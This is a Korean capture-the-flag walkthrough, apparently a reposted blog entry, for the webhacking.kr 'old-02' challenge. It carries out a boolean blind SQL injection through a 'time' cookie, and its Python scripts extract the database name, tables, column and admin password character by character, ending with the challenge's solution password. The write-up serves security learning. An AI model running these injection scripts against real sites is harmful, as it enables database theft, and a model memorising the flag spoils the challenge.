old-02

old-02

old-02

제한 구역이라 한다. 그리고 내 IP가 로깅 중이라 한다.(로깅이란 로그를 기록하는 행위)

아무런 내용이 없기에 페이지 소스 코드를 먼저 살펴본다.

날짜와 시간은 로그인한 시점을 뜻하는 것 같다.

그리고 뒤의 경고문을 살펴보면 admin.php에 접근하면 될 것 같다.

비밀번호를 입력하는 창이 나온다.

주소 창에 javascript:alert(document.cookie)를 통해 쿠키 값을 살펴본다.

쿠키 값에 time이 있는 것을 확인할 수 있다.

time의 값을 변경해 본다.(크롬의 확장 프로그램인 'EditThisCookie'를 사용하면 편하다)

주석에 적힌 날짜와 시간이 변했다.

이번엔 time의 값을 2로 바꿔 봤다.

주석에 적힌 초가 2로 바뀌었다.

즉 참인 뜻을 가지는 자연수를 입력하면 시간 부분이 바뀌는 것을 확인할 수 있다.(60 이상의 수는 자동으로 분과 초로 변환해준다.)

거짓을 뜻하는 0을 입력해 보았다.

거짓일 때의 주석이 보이지 않아 시간 확인이 불가능하다.

거짓일 때의 주석을 SQL Injection을 통해 찾을 수 있다.

time의 쿠키 값으로 '아무 숫자 and 1=0'을 입력하면 1=0 부분 때문에 거짓이 된다.

time의 쿠키 값이 false일 경우, 주석의 시간의 초 부분이 0이 되었다.

즉, time의 쿠키 값이 true일 경우, '2070-01-01 09:00:00'으로부터 time의 쿠키 값만큼 지난 시간을 출력하고,

time의 쿠키 값이 false일 경우, '2070-01-01 09:00:00'을 고정적으로 출력한다.

이처럼 SQL문에 대해 참과 거짓의 결과만 있을 경우 Blind SQL Injection을 수행할 수 있다.

먼저 테이블의 이름을 알아야 한다.

select count(table_name) from information_schema.tables where table_schema=database()를 통해 현재 위치한 데이터베이스의 테이블 수를 알아낼 수 있다.

초 부분이 2가 된 것으로 보아 테이블의 개수는 2개인 것을 알 수 있다.

이제 테이블의 이름을 찾아야 한다.

select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1을 통해 첫 번째 테이블 이름의 길이를 구할 수 있다.

첫 번째 테이블의 이름은 13자리 인 것을 알 수 있다.

이제 테이블 명의 단어를 한 글자씩 찾아낸다.

select ascii(substring(table_name, 시작 위치, 1)) from information_schema.tables where table_schema=database() limit 0, 1을 통해 찾아낼 수 있다.

97 즉, 테이블 명의 첫 글자는 'a'인 것을 알 수 있다.

이렇게 직접 한 글자씩 찾을 수 있지만 편리하게 파이썬 코드로 구현한다.

제법 시간이 오래 걸린다.

1. DB 명 출력

import requests url = "https://webhacking.kr/challenge/web-02/" end = False db = "" table = "" columns = "" pw = "" for i in range(1, 100): if end == True: break for k in range(33, 129): cookies = {"Cookie" : "PHPSESSID=자기 세션 값; time=0 || if(ord(substr((select database()),{},1))={},1,0)".format(i,k)} r = requests.get(url, cookies=cookies) if r.text.find("09:00:01") != -1: db += chr(k) break if k == 127: end = True print("Database : {}".format(db)) # Database : chall2

2. 테이블 명 출력

import requests url = "https://webhacking.kr/challenge/web-02/" end = False db = "" table = "" columns = "" pw = "" for i in range(1, 100): if end == True: break for k in range(33, 128): cookies = {"Cookie" : "PHPSESSID=자기 세션 값; time=0 || if(ord(substr((SELECT group_concat(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='chall2'),{},1))={},1,0)".format(i,k)} r = requests.get(url, cookies=cookies) if r.text.find("09:00:01") != -1: table += chr(k) break if k == 127: end = True print("Table : {}".format(table)) # Table : admin_area_pw,log

3. 컬럼 명 출력

import requests url = "https://webhacking.kr/challenge/web-02/" end = False db = "" table = "" columns = "" pw = "" for i in range(1, 100): if end == True: break for k in range(33, 128): cookies = {"Cookie" : "PHPSESSID=kkp7qg686mbl6056qng6kq8nj8; time=0 || if(ord(substr((SELECT group_concat(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_area_pw'),{},1))={},1,0)".format(i,k)} r = requests.get(url, cookies=cookies) if r.text.find("09:00:01") != -1: columns += chr(k) break if k == 127: end = True print("Column : {}".format(columns)) # Column : pw

4. 비밀번호 출력

import requests url = "https://webhacking.kr/challenge/web-02/" end = False db = "" table = "" columns = "" pw = "" for i in range(1, 100): if end == True: break for k in range(33, 128): cookies = {"Cookie" : "PHPSESSID=kkp7qg686mbl6056qng6kq8nj8; time=0 || if(ord(substr((select pw from admin_area_pw),{},1))={},1,0)".format(i,k)} r = requests.get(url, cookies=cookies) if r.text.find("09:00:01") != -1: pw += chr(k) break if k == 127: end = True print("Password : {}".format(pw)) # kudos_to_beistlab

이제 추출한 비밀번호를 admin.php 에 있는 비밀번호 창에 입력하면 문제를 해결할 수 있다.

from http://woong971.tistory.com/102 by ccl(A) rewrite - 2021-11-08 18:01:04